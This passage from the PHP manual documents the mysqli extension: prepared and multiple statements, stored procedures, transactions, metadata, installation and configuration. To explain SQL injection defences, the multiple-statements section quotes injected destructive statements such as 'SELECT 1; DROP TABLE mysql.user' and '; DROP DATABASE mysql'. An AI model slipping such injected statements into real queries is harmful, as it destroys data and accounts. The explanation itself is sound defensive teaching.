    !$mysqli->query("CREATE TABLE test(id INT, label CHAR(1))") ||
    !$mysqli->query("INSERT INTO test(id, label) VALUES (1, 'a')")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!($stmt = $mysqli->prepare("SELECT id, label FROM test ORDER BY id ASC"))) {
    echo "Prepare failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!$stmt->execute()) {
     echo "Execute failed: (" . $stmt->errno . ") " . $stmt->error;
}

if (!($res = $stmt->get_result())) {
    echo "Getting result set failed: (" . $stmt->errno . ") " . $stmt->error;
}

var_dump($res->fetch_all());
?>

The above example will output:

array(1) {
  [0]=>
  array(2) {
    [0]=>
    int(1)
    [1]=>
    string(1) "a"
  }
}

Using the mysqli_result interface offers the additional benefit of flexible client-side result set navigation.

Example #8 Buffered result set for flexible read out

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT, label CHAR(1))") ||
    !$mysqli->query("INSERT INTO test(id, label) VALUES (1, 'a'), (2, 'b'), (3, 'c')")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!($stmt = $mysqli->prepare("SELECT id, label FROM test"))) {
    echo "Prepare failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!$stmt->execute()) {
     echo "Execute failed: (" . $stmt->errno . ") " . $stmt->error;
}

if (!($res = $stmt->get_result())) {
    echo "Getting result set failed: (" . $stmt->errno . ") " . $stmt->error;
}

for ($row_no = ($res->num_rows - 1); $row_no >= 0; $row_no--) {
    $res->data_seek($row_no);
    var_dump($res->fetch_assoc());
}
$res->close();
?>

The above example will output:

array(2) {
  ["id"]=>
  int(3)
  ["label"]=>
  string(1) "c"
}
array(2) {
  ["id"]=>
  int(2)
  ["label"]=>
  string(1) "b"
}
array(2) {
  ["id"]=>
  int(1)
  ["label"]=>
  string(1) "a"
}

Escaping and SQL injection

Bound variables are sent to the server separately from the query and thus cannot interfere with it. The server uses these values directly at the point of execution, after the statement template is parsed. Bound parameters do not need to be escaped as they are never substituted into the query string directly. A hint must be provided to the server for the type of bound variable, to create an appropriate conversion. See the mysqli_stmt_bind_param() function for more information.

Such a separation sometimes considered as the only security feature to prevent SQL injection, but the same degree of security can be achieved with non-prepared statements, if all the values are formatted correctly. It should be noted that correct formatting is not the same as escaping and involves more logic than simple escaping. Thus, prepared statements are simply a more convenient and less error-prone approach to this element of database security.

Client-side prepared statement emulation

The API does not include emulation for client-side prepared statement emulation.

Quick prepared - non-prepared statement comparison

The table below compares server-side prepared and non-prepared statements.

Comparison of prepared and non-prepared statements
 | Prepared Statement | Non-prepared statement
Client-server round trips, SELECT, single execution | 2 | 1
Statement string transferred from client to server | 1 | 1
Client-server round trips, SELECT, repeated (n) execution | 1 + n | n
Statement string transferred from client to server | 1 template, n times bound parameter, if any | n times together with parameter, if any
Input parameter binding API | Yes, automatic input escaping | No, manual input escaping
Output variable binding API | Yes | No
Supports use of mysqli_result API | Yes, use mysqli_stmt_get_result() | Yes
Buffered result sets | Yes, use mysqli_stmt_get_result() or binding with mysqli_stmt_store_result() | Yes, default of mysqli_query()
Unbuffered result sets | Yes, use output binding API | Yes, use mysqli_real_query() with mysqli_use_result()
MySQL Client Server protocol data transfer flavor | Binary protocol | Text protocol
Result set values SQL data types | Preserved when fetching | Converted to string or preserved when fetching
Supports all SQL statements | Recent MySQL versions support most but not all | Yes

See also

  • mysqli::__construct()
  • mysqli::query()
  • mysqli::prepare()
  • mysqli_stmt::prepare()
  • mysqli_stmt::execute()
  • mysqli_stmt::bind_param()
  • mysqli_stmt::bind_result()

User Contributed Notes

There are no user contributed notes for this page.


Stored Procedures

The MySQL database supports stored procedures. A stored procedure is a subroutine stored in the database catalog. Applications can call and execute the stored procedure. The CALL SQL statement is used to execute a stored procedure.

Parameter

Stored procedures can have IN, INOUT and OUT parameters, depending on the MySQL version. The mysqli interface has no special notion for the different kinds of parameters.

IN parameter

Input parameters are provided with the CALL statement. Please, make sure values are escaped correctly.

Example #1 Calling a stored procedure

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

if (!$mysqli->query("DROP TABLE IF EXISTS test") || !$mysqli->query("CREATE TABLE test(id INT)")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!$mysqli->query("DROP PROCEDURE IF EXISTS p") ||
    !$mysqli->query("CREATE PROCEDURE p(IN id_val INT) BEGIN INSERT INTO test(id) VALUES(id_val); END;")) {
    echo "Stored procedure creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!$mysqli->query("CALL p(1)")) {
    echo "CALL failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!($res = $mysqli->query("SELECT id FROM test"))) {
    echo "SELECT failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

var_dump($res->fetch_assoc());
?>

The above example will output:

array(1) {
  ["id"]=>
  string(1) "1"
}

INOUT/OUT parameter

The values of INOUT/OUT parameters are accessed using session variables.

Example #2 Using session variables

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

if (!$mysqli->query("DROP PROCEDURE IF EXISTS p") ||
    !$mysqli->query('CREATE PROCEDURE p(OUT msg VARCHAR(50)) BEGIN SELECT "Hi!" INTO msg; END;')) {
    echo "Stored procedure creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!$mysqli->query("SET @msg = ''") || !$mysqli->query("CALL p(@msg)")) {
    echo "CALL failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!($res = $mysqli->query("SELECT @msg as _p_out"))) {
    echo "Fetch failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

$row = $res->fetch_assoc();
echo $row['_p_out'];
?>

The above example will output:

Hi!

Application and framework developers may be able to provide a more convenient API using a mix of session variables and databased catalog inspection. However, please note the possible performance impact of a custom solution based on catalog inspection.

Handling result sets

Stored procedures can return result sets. Result sets returned from a stored procedure cannot be fetched correctly using mysqli_query(). The mysqli_query() function combines statement execution and fetching the first result set into a buffered result set, if any. However, there are additional stored procedure result sets hidden from the user which cause mysqli_query() to fail returning the user expected result sets.

Result sets returned from a stored procedure are fetched using mysqli_real_query() or mysqli_multi_query(). Both functions allow fetching any number of result sets returned by a statement, such as CALL. Failing to fetch all result sets returned by a stored procedure causes an error.

Example #3 Fetching results from stored procedures

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT)") ||
    !$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!$mysqli->query("DROP PROCEDURE IF EXISTS p") ||
    !$mysqli->query('CREATE PROCEDURE p() READS SQL DATA BEGIN SELECT id FROM test; SELECT id + 1 FROM test; END;')) {
    echo "Stored procedure creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!$mysqli->multi_query("CALL p()")) {
    echo "CALL failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

do {
    if ($res = $mysqli->store_result()) {
        printf("---\n");
        var_dump($res->fetch_all());
        $res->free();
    } else {
        if ($mysqli->errno) {
            echo "Store failed: (" . $mysqli->errno . ") " . $mysqli->error;
        }
    }
} while ($mysqli->more_results() && $mysqli->next_result());
?>

The above example will output:

---
array(3) {
  [0]=>
  array(1) {
    [0]=>
    string(1) "1"
  }
  [1]=>
  array(1) {
    [0]=>
    string(1) "2"
  }
  [2]=>
  array(1) {
    [0]=>
    string(1) "3"
  }
}
---
array(3) {
  [0]=>
  array(1) {
    [0]=>
    string(1) "2"
  }
  [1]=>
  array(1) {
    [0]=>
    string(1) "3"
  }
  [2]=>
  array(1) {
    [0]=>
    string(1) "4"
  }
}

Use of prepared statements

No special handling is required when using the prepared statement interface for fetching results from the same stored procedure as above. The prepared statement and non-prepared statement interfaces are similar. Please note, that not every MYSQL server version may support preparing the CALL SQL statement.

Example #4 Stored Procedures and Prepared Statements

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT)") ||
    !$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!$mysqli->query("DROP PROCEDURE IF EXISTS p") ||
    !$mysqli->query('CREATE PROCEDURE p() READS SQL DATA BEGIN SELECT id FROM test; SELECT id + 1 FROM test; END;')) {
    echo "Stored procedure creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!($stmt = $mysqli->prepare("CALL p()"))) {
    echo "Prepare failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!$stmt->execute()) {
    echo "Execute failed: (" . $stmt->errno . ") " . $stmt->error;
}

do {
    if ($res = $stmt->get_result()) {
        printf("---\n");
        var_dump(mysqli_fetch_all($res));
        mysqli_free_result($res);
    } else {
        if ($stmt->errno) {
            echo "Store failed: (" . $stmt->errno . ") " . $stmt->error;
        }
    }
} while ($stmt->more_results() && $stmt->next_result());
?>

Of course, use of the bind API for fetching is supported as well.

Example #5 Stored Procedures and Prepared Statements using bind API

<?php
if (!($stmt = $mysqli->prepare("CALL p()"))) {
    echo "Prepare failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!$stmt->execute()) {
    echo "Execute failed: (" . $stmt->errno . ") " . $stmt->error;
}

do {

    $id_out = NULL;
    if (!$stmt->bind_result($id_out)) {
        echo "Bind failed: (" . $stmt->errno . ") " . $stmt->error;
    }

    while ($stmt->fetch()) {
        echo "id = $id_out\n";
    }
} while ($stmt->more_results() && $stmt->next_result());
?>

See also

  • mysqli::query()
  • mysqli::multi_query()
  • mysqli_result::next-result()
  • mysqli_result::more-results()

User Contributed Notes

Jonathon 25-May-2013 02:30
<?php
/*
*
*Creating Session Variable with Prepared Statement
*
*for IN/OUT variable to stored procedure
*
*using Data Binding to get the data back
*
*@params
*    $mysql: mysqli() instance
*    $var: input and output paramater to stored procedure
*/
 function stored_procedure($mysql , &$var = 'hello world')
    {
        $stmt = $mysql->stmt_init(); // initialize statement

        if($stmt->prepare("SET @var = ?")) // prepare set command
        {
            $var = $mysql->real_escape_string($var); // escape input

            $stmt->bind_param('s',$var); // bind data

            $stmt->execute(); // create session variable

            $stmt->free_result(); // free resutl

            if($stmt->prepare("CALL stored_procedure(@var)"))//call stored procedure with database server session variable
            {
                $stmt->execute();

                $stmt->free_result();
            }

            if($stmt->prepare(" SELECT @var AS var ")) // prepare command to select the database server session variable
            {
                $stmt->execute(); // execure

                $out_var = NULL;

                $stmt->bind_result($out_var); // bind

                $stmt->fetch(); // fetch one row

                echo $out_var.'<br />';// display OUT variable
            }
        }
    }
?>


Multiple Statements

MySQL optionally allows having multiple statements in one statement string. Sending multiple statements at once reduces client-server round trips but requires special handling.

Multiple statements or multi queries must be executed with mysqli_multi_query(). The individual statements of the statement string are separated by semicolon. Then, all result sets returned by the executed statements must be fetched.

The MySQL server allows having statements that do return result sets and statements that do not return result sets in one multiple statement.

Example #1 Multiple Statements

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

if (!$mysqli->query("DROP TABLE IF EXISTS test") || !$mysqli->query("CREATE TABLE test(id INT)")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

$sql = "SELECT COUNT(*) AS _num FROM test; ";
$sql.= "INSERT INTO test(id) VALUES (1); ";
$sql.= "SELECT COUNT(*) AS _num FROM test; ";

if (!$mysqli->multi_query($sql)) {
    echo "Multi query failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

do {
    if ($res = $mysqli->store_result()) {
        var_dump($res->fetch_all(MYSQLI_ASSOC));
        $res->free();
    }
} while ($mysqli->more_results() && $mysqli->next_result());
?>

The above example will output:

array(1) {
  [0]=>
  array(1) {
    ["_num"]=>
    string(1) "0"
  }
}
array(1) {
  [0]=>
  array(1) {
    ["_num"]=>
    string(1) "1"
  }
}

Security considerations

The API functions mysqli_query() and mysqli_real_query() do not set a connection flag necessary for activating multi queries in the server. An extra API call is used for multiple statements to reduce the likeliness of accidental SQL injection attacks. An attacker may try to add statements such as ; DROP DATABASE mysql or ; SELECT SLEEP(999). If the attacker succeeds in adding SQL to the statement string but mysqli_multi_query is not used, the server will not execute the second, injected and malicious SQL statement.

Example #2 SQL Injection

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
$res    = $mysqli->query("SELECT 1; DROP TABLE mysql.user");
if (!$res) {
    echo "Error executing query: (" . $mysqli->errno . ") " . $mysqli->error;
}
?>

The above example will output:

Error executing query: (1064) You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax
to use near 'DROP TABLE mysql.user' at line 1

Prepared statements

Use of the multiple statement with prepared statements is not supported.

See also

  • mysqli::query()
  • mysqli::multi_query()
  • mysqli_result::next-result()
  • mysqli_result::more-results()

User Contributed Notes

eric dot noel at gmail dot com 01-Apr-2014 07:12
This worked for my application

function mysql_multiquery($queries,$db)
{
    $queries = explode(";", $queries);
    foreach ($queries as $query)
        $query = mysql_query(trim($query),$db);
    return $query;
}


API support for transactions

The MySQL server supports transactions depending on the storage engine used. Since MySQL 5.5, the default storage engine is InnoDB. InnoDB has full ACID transaction support.

Transactions can either be controlled using SQL or API calls. It is recommended to use API calls for enabling and disabling the auto commit mode and for committing and rolling back transactions.

Example #1 Setting auto commit mode with SQL and through the API

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

/* Recommended: using API to control transactional settings */
$mysqli->autocommit(false);

/* Won't be monitored and recognized by the replication and the load balancing plugin */
if (!$mysqli->query('SET AUTOCOMMIT = 0')) {
    echo "Query failed: (" . $mysqli->errno . ") " . $mysqli->error;
}
?>

Optional feature packages, such as the replication and load balancing plugin, can easily monitor API calls. The replication plugin offers transaction aware load balancing, if transactions are controlled with API calls. Transaction aware load balancing is not available if SQL statements are used for setting auto commit mode, committing or rolling back a transaction.

Example #2 Commit and rollback

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
$mysqli->autocommit(false);

$mysqli->query("INSERT INTO test(id) VALUES (1)");
$mysqli->rollback();

$mysqli->query("INSERT INTO test(id) VALUES (2)");
$mysqli->commit();
?>

Please note, that the MySQL server cannot roll back all statements. Some statements cause an implicit commit.

See also

  • mysqli::autocommit()
  • mysqli_result::commit()
  • mysqli_result::rollback()

User Contributed Notes

There are no user contributed notes for this page.


Metadata

A MySQL result set contains metadata. The metadata describes the columns found in the result set. All metadata sent by MySQL is accessible through the mysqli interface. The extension performs no or negligible changes to the information it receives. Differences between MySQL server versions are not aligned.

Meta data is access through the mysqli_result interface.

Example #1 Accessing result set meta data

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

$res = $mysqli->query("SELECT 1 AS _one, 'Hello' AS _two FROM DUAL");
var_dump($res->fetch_fields());
?>

The above example will output:

array(2) {
  [0]=>
  object(stdClass)#3 (13) {
    ["name"]=>
    string(4) "_one"
    ["orgname"]=>
    string(0) ""
    ["table"]=>
    string(0) ""
    ["orgtable"]=>
    string(0) ""
    ["def"]=>
    string(0) ""
    ["db"]=>
    string(0) ""
    ["catalog"]=>
    string(3) "def"
    ["max_length"]=>
    int(1)
    ["length"]=>
    int(1)
    ["charsetnr"]=>
    int(63)
    ["flags"]=>
    int(32897)
    ["type"]=>
    int(8)
    ["decimals"]=>
    int(0)
  }
  [1]=>
  object(stdClass)#4 (13) {
    ["name"]=>
    string(4) "_two"
    ["orgname"]=>
    string(0) ""
    ["table"]=>
    string(0) ""
    ["orgtable"]=>
    string(0) ""
    ["def"]=>
    string(0) ""
    ["db"]=>
    string(0) ""
    ["catalog"]=>
    string(3) "def"
    ["max_length"]=>
    int(5)
    ["length"]=>
    int(5)
    ["charsetnr"]=>
    int(8)
    ["flags"]=>
    int(1)
    ["type"]=>
    int(253)
    ["decimals"]=>
    int(31)
  }
}

Prepared statements

Meta data of result sets created using prepared statements are accessed the same way. A suitable mysqli_result handle is returned by mysqli_stmt_result_metadata().

Example #2 Prepared statements metadata

<?php
$stmt = $mysqli->prepare("SELECT 1 AS _one, 'Hello' AS _two FROM DUAL");
$stmt->execute();
$res = $stmt->result_metadata();
var_dump($res->fetch_fields());
?>

See also

  • mysqli::query()
  • mysqli_result::fetch_fields()

User Contributed Notes

There are no user contributed notes for this page.


Requirements

In order to have these functions available, you must compile PHP with support for the mysqli extension.

Note:

The mysqli extension is designed to work with MySQL version 4.1.13 or newer, or 5.0.7 or newer. For previous versions, please see the MySQL extension documentation.

User Contributed Notes

bashir dot adaptive at gmail dot com 04-Mar-2014 04:00
Does all Web Hosting support MySQLi. Web host like godaddy and others.

Please help me to select MySQLi Supported web host.
Thanks
Paul from miniBB 29-Nov-2013 05:57
"php_mysqli does not replace the php_mysql library.  It only extends it.  You need the php_mysql library !"

mysql_connect() is from another library.  Surely, php_mysqli works WITHOUT php_mysql enabled on the server.  Nothing from php_mysql module is related to this.

Before switching to mysqli, you need to completely eliminate all "mysql_" functions in your code. For example, mysql_connect() could be replaced to mysqli_connect() with an identifying link in front. Like:

$link = mysqli_connect("myhost","myuser","mypassw","mybd");

Then each of mysqli command just should need to be referred to $link at first.
dennylin93 at cnmc32 dot hs dot ntnu dot edu dot tw 13-Oct-2009 04:16
The required extensions will be pulled in automatically on FreeBSD, unless you manually remove them after installation.


Installation

The mysqli extension was introduced with PHP version 5.0.0. The MySQL Native Driver was included in PHP version 5.3.0.

Installation on Linux

The common Unix distributions include binary versions of PHP that can be installed. Although these binary versions are typically built with support for MySQL extensions enabled, the extension libraries themselves may need to be installed using an additional package. Check the package manager than comes with your chosen distribution for availability.

Unless your Unix distribution comes with a binary package of PHP with the mysqli extension available, you will need to build PHP from source code. Building PHP from source allows you to specify the MySQL extensions you want to use, as well as your choice of client library for each extension.

The MySQL Native Driver is the recommended option, as it results in improved performance and gives access to features not available when using the MySQL Client Library. Refer to What is PHP's MySQL Native Driver? for a brief overview of the advantages of MySQL Native Driver.

The /path/to/mysql_config represents the location of the mysql_config program that comes with MySQL Server.

mysqli compile time support matrix
PHP Version | Default | Configure Options: mysqlnd | Configure Options: libmysqlclient | Changelog
5.0.x, 5.1.x, 5.2.x | libmysqlclient | Not Available | --with-mysqli=/path/to/mysql_config |
5.3.x | libmysqlclient | --with-mysqli=mysqlnd | --with-mysqli=/path/to/mysql_config | mysqlnd is now supported
5.4.x | mysqlnd | --with-mysqli | --with-mysqli=/path/to/mysql_config | mysqlnd is now the default

Note that it is possible to freely mix MySQL extensions and client libraries. For example, it is possible to enable the MySQL extension to use the MySQL Client Library (libmysqlclient), while configuring the mysqli extension to use the MySQL Native Driver. However, all permutations of extension and client library are possible.

The following example builds the MySQL extension to use the MySQL Client Library, and the mysqli and PDO MYSQL extensions to use the MySQL Native Driver:

./configure --with-mysql=/usr/bin/mysql_config  \
--with-mysqli=mysqlnd \
--with-pdo-mysql=mysqlnd
[other options]

Installation on Windows Systems

On Windows, PHP is most commonly installed using the binary installer.

PHP 5.0, 5.1, 5.2

Once PHP has been installed, some configuration is required to enable mysqli and specify the client library you want it to use.

The mysqli extension is not enabled by default, so the php_mysqli.dll DLL must be enabled inside of php.ini. In order to do this you need to find the php.ini file (typically located in c:\php), and make sure you remove the comment (semi-colon) from the start of the line extension=php_mysqli.dll, in the section marked [PHP_MYSQLI].

Also, if you want to use the MySQL Client Library with mysqli, you need to make sure PHP can access the client library file. The MySQL Client Library is included as a file named libmysql.dll in the Windows PHP distribution. This file needs to be available in the Windows system's PATH environment variable, so that it can be successfully loaded. See the FAQ titled "How do I add my PHP directory to the PATH on Windows" for information on how to do this. Copying libmysql.dll to the Windows system directory (typically c:\Windows\system) also works, as the system directory is by default in the system's PATH. However, this practice is strongly discouraged.

As with enabling any PHP extension (such as php_mysqli.dll), the PHP directive extension_dir should be set to the directory where the PHP extensions are located. See also the Manual Windows Installation Instructions. An example extension_dir value for PHP 5 is c:\php\ext.

Note:

If when starting the web server an error similar to the following occurs: "Unable to load dynamic library './php_mysqli.dll'", this is because php_mysqli.dll and/or libmysql.dll cannot be found by the system.

PHP 5.3.0+

On Windows, for PHP versions 5.3 and newer, the mysqli extension is enabled and uses the MySQL Native Driver by default. This means you don't need to worry about configuring access to libmysql.dll.

User Contributed Notes

Anonymous 16-Oct-2014 02:25
Thank you to whoever included the installation for cent OS :)
Anonymous 27-Jun-2013 11:23
yum install php-mysqli
--centos Linux 2.6.18-308.el5
Mark F 14-Mar-2011 10:09
Just to note with regards to SSL and compression. MySQLnd and thus extensions using mysqlnd such as mysqli... now supports SSL and compression. Both have been supported inside mysqlnd since PHP 5.3.3 - http://www.php.net/manual/en/mysqlnd.overview.php
arekm 24-Aug-2010 02:49
"using the MySQL Native Driver results in improved performance and gives access to features not available when using the MySQL Client Library"

Of course there are also disadvantages:
- no SSL support (a nightmare!)
- no mysql < 4.1 support

So some people cannot use mysqlnd :(
josh dot ribakoff at gmail dot com 11-Nov-2009 07:21
I kept getting configure errors:

/tmp/cc4f2PKd.o: In function `main':
/usr/src/php-5.3.0/configure:14287: undefined reference to `yp_get_default_domain'
collect2: ld returned 1 exit status
configure: failed program was:
#line 14270 "configure"
#include "confdefs.h"

The solution was to configure with mysql native driver as outlined on this page.
David dot Kit dot Friedman at gmail dot com 20-Aug-2009 01:04
>On Windows, PHP is most commonly installed using the binary installer. Once PHP has been installed, some >configuration is required to enable mysqli and specify the client library you want it to use.

Basically, if you want to add extensions you can double-click again on the installer file. The installer will find the already installed PHP and will ask if you want to change the installation.

When you go through the prompts it will take you back to the list of extensions and you can pick which extensions you want to add.

For the mysqli extension the installer also edited php.ini so that the extension was enabled:

[PHP_MYSQLI]
extension=php_mysqli.dll

the installer added those lines to the end of the file.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

MySQLi Configuration Options
Name | Default | Changeable | Changelog
mysqli.allow_local_infile | "1" | PHP_INI_SYSTEM | Available since PHP 5.2.4.
mysqli.allow_persistent | "1" | PHP_INI_SYSTEM | Available since PHP 5.3.0.
mysqli.max_persistent | "-1" | PHP_INI_SYSTEM | Available since PHP 5.3.0.
mysqli.max_links | "-1" | PHP_INI_SYSTEM | Available since PHP 5.0.0.
mysqli.default_port | "3306" | PHP_INI_ALL | Available since PHP 5.0.0.
mysqli.default_socket | NULL | PHP_INI_ALL | Available since PHP 5.0.0.
mysqli.default_host | NULL | PHP_INI_ALL | Available since PHP 5.0.0.
mysqli.default_user | NULL | PHP_INI_ALL | Available since PHP 5.0.0.
mysqli.default_pw | NULL | PHP_INI_ALL | Available since PHP 5.0.0.
mysqli.reconnect | "0" | PHP_INI_SYSTEM | Available since PHP 4.3.5.
mysqli.cache_size | "2000" | PHP_INI_SYSTEM | Available since PHP 5.3.0.

For further details and definitions of the preceding PHP_INI_* constants, see the chapter on configuration changes.

Here's a short explanation of the configuration directives.

mysqli.allow_local_infile integer

Allow accessing, from PHP's perspective, local files with LOAD DATA statements

mysqli.allow_persistent integer

Enable the ability to create persistent connections using mysqli_connect().

mysqli.max_persistent integer

Maximum of persistent connections that can be made. Set to 0 for unlimited.

mysqli.max_links integer

The maximum number of MySQL connections per process.

mysqli.default_port integer

The default TCP port number to use when connecting to the database server if no other port is specified. If no default is specified, the port will be obtained from the MYSQL_TCP_PORT environment variable, the mysql-tcp entry in /etc/services or the compile-time MYSQL_PORT constant, in that order. Win32 will only use the MYSQL_PORT constant.

mysqli.default_socket string

The default socket name to use when connecting to a local database server if no other socket name is specified.

mysqli.default_host string

The default server host to use when connecting to the database server if no other host is specified. Doesn't apply in safe mode.

mysqli.default_user string

The default user name to use when connecting to the database server if no other name is specified. Doesn't apply in safe mode.

mysqli.default_pw string

The default password to use when connecting to the database server if no other password is specified. Doesn't apply in safe mode.

mysqli.reconnect integer

Automatically reconnect if the connection was lost.

mysqli.cache_size integer

Available only with mysqlnd.

Users cannot set MYSQL_OPT_READ_TIMEOUT through an API call or runtime configuration setting. Note that if it were possible there would be differences between how libmysqlclient and streams would interpret the value of MYSQL_OPT_READ_TIMEOUT.

User Contributed Notes

There are no user contributed notes for this page.


  • « Runtime Configuration
  • The mysqli Extension and Persistent Connections »
  • PHP Manual
  • Installing/Configuring
  • Resource Types

Resource Types

This extension has no resource types defined.

User Contributed Notes

There are no user contributed notes for this page.


The mysqli Extension and Persistent Connections

Persistent connection support was introduced in PHP 5.3 for the mysqli extension. Support was already present in PDO MYSQL and ext/mysql. The idea behind persistent connections is that a connection between a client process and a database can be reused by a client process, rather than being created and destroyed multiple times. This reduces the overhead of creating fresh connections every time one is required, as unused connections are cached and ready to be reused.

Unlike the mysql extension, mysqli does not provide a separate function for opening persistent connections. To open a persistent connection you must prepend p: to the hostname when connecting.

The problem with persistent connections is that they can be left in unpredictable states by clients. For example, a table lock might be activated before a client terminates unexpectedly. A new client process reusing this persistent connection will get the connection "as is". Any cleanup would need to be done by the new client process before it could make good use of the persistent connection, increasing the burden on the programmer.

The persistent connection of the mysqli extension however provides built-in cleanup handling code. The cleanup carried out by mysqli includes:

  • Rollback active transactions

  • Close and drop temporary tables

  • Unlock tables

  • Reset session variables

  • Close prepared statements (always happens with PHP)

  • Close handler

  • Release locks acquired with GET_LOCK()

This ensures that persistent connections are in a clean state on return from the connection pool, before the client process uses them.

The mysqli extension does this cleanup by automatically calling the C-API function mysql_change_user().

The automatic cleanup feature has advantages and disadvantages though. The advantage is that the programmer no longer needs to worry about adding cleanup code, as it is called automatically. However, the disadvantage is that the code could potentially be a little slower, as the code to perform the cleanup needs to run each time a connection is returned from the connection pool.

It is possible to switch off the automatic cleanup code, by compiling PHP with MYSQLI_NO_CHANGE_USER_ON_PCONNECT defined.

Note:

The mysqli extension supports persistent connections when using either MySQL Native Driver or MySQL Client Library.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

MYSQLI_READ_DEFAULT_GROUP

Read options from the named group from my.cnf or the file specified with MYSQLI_READ_DEFAULT_FILE

MYSQLI_READ_DEFAULT_FILE

Read options from the named option file instead of from my.cnf

MYSQLI_OPT_CONNECT_TIMEOUT

Connect timeout in seconds

MYSQLI_OPT_LOCAL_INFILE

Enables command LOAD LOCAL INFILE

MYSQLI_INIT_COMMAND

Command to execute when connecting to MySQL server. Will automatically be re-executed when reconnecting.

MYSQLI_CLIENT_SSL

Use SSL (encrypted protocol). This option should not be set by application programs; it is set internally in the MySQL client library

MYSQLI_CLIENT_COMPRESS

Use compression protocol

MYSQLI_CLIENT_INTERACTIVE

Allow interactive_timeout seconds (instead of wait_timeout seconds) of inactivity before closing the connection. The client's session wait_timeout variable will be set to the value of the session interactive_timeout variable.

MYSQLI_CLIENT_IGNORE_SPACE

Allow spaces after function names. Makes all functions names reserved words.

MYSQLI_CLIENT_NO_SCHEMA

Don't allow the db_name.tbl_name.col_name syntax.

MYSQLI_CLIENT_MULTI_QUERIES

Allows multiple semicolon-delimited queries in a single mysqli_query() call.

MYSQLI_STORE_RESULT

For using buffered resultsets

MYSQLI_USE_RESULT

For using unbuffered resultsets

MYSQLI_ASSOC

Columns are returned into the array having the fieldname as the array index.

MYSQLI_NUM

Columns are returned into the array having an enumerated index.

MYSQLI_BOTH

Columns are returned into the array having both a numerical index and the fieldname as the associative index.

MYSQLI_NOT_NULL_FLAG

Indicates that a field is defined as NOT NULL

MYSQLI_PRI_KEY_FLAG

Field is part of a primary index

MYSQLI_UNIQUE_KEY_FLAG

Field is part of a unique index.

MYSQLI_MULTIPLE_KEY_FLAG

Field is part of an index.

MYSQLI_BLOB_FLAG

Field is defined as BLOB

MYSQLI_UNSIGNED_FLAG

Field is defined as UNSIGNED

MYSQLI_ZEROFILL_FLAG

Field is defined as ZEROFILL

MYSQLI_AUTO_INCREMENT_FLAG

Field is defined as AUTO_INCREMENT

MYSQLI_TIMESTAMP_FLAG

Field is defined as TIMESTAMP

MYSQLI_SET_FLAG

Field is defined as SET

MYSQLI_NUM_FLAG

Field is defined as NUMERIC

MYSQLI_PART_KEY_FLAG

Field is part of an multi-index

MYSQLI_GROUP_FLAG

Field is part of GROUP BY

MYSQLI_TYPE_DECIMAL

Field is defined as DECIMAL

MYSQLI_TYPE_NEWDECIMAL

Precision math DECIMAL or NUMERIC field (MySQL 5.0.3 and up)

MYSQLI_TYPE_BIT

Field is defined as BIT (MySQL 5.0.3 and up)

MYSQLI_TYPE_TINY

Field is defined as TINYINT

MYSQLI_TYPE_SHORT

Field is defined as SMALLINT

MYSQLI_TYPE_LONG

Field is defined as INT

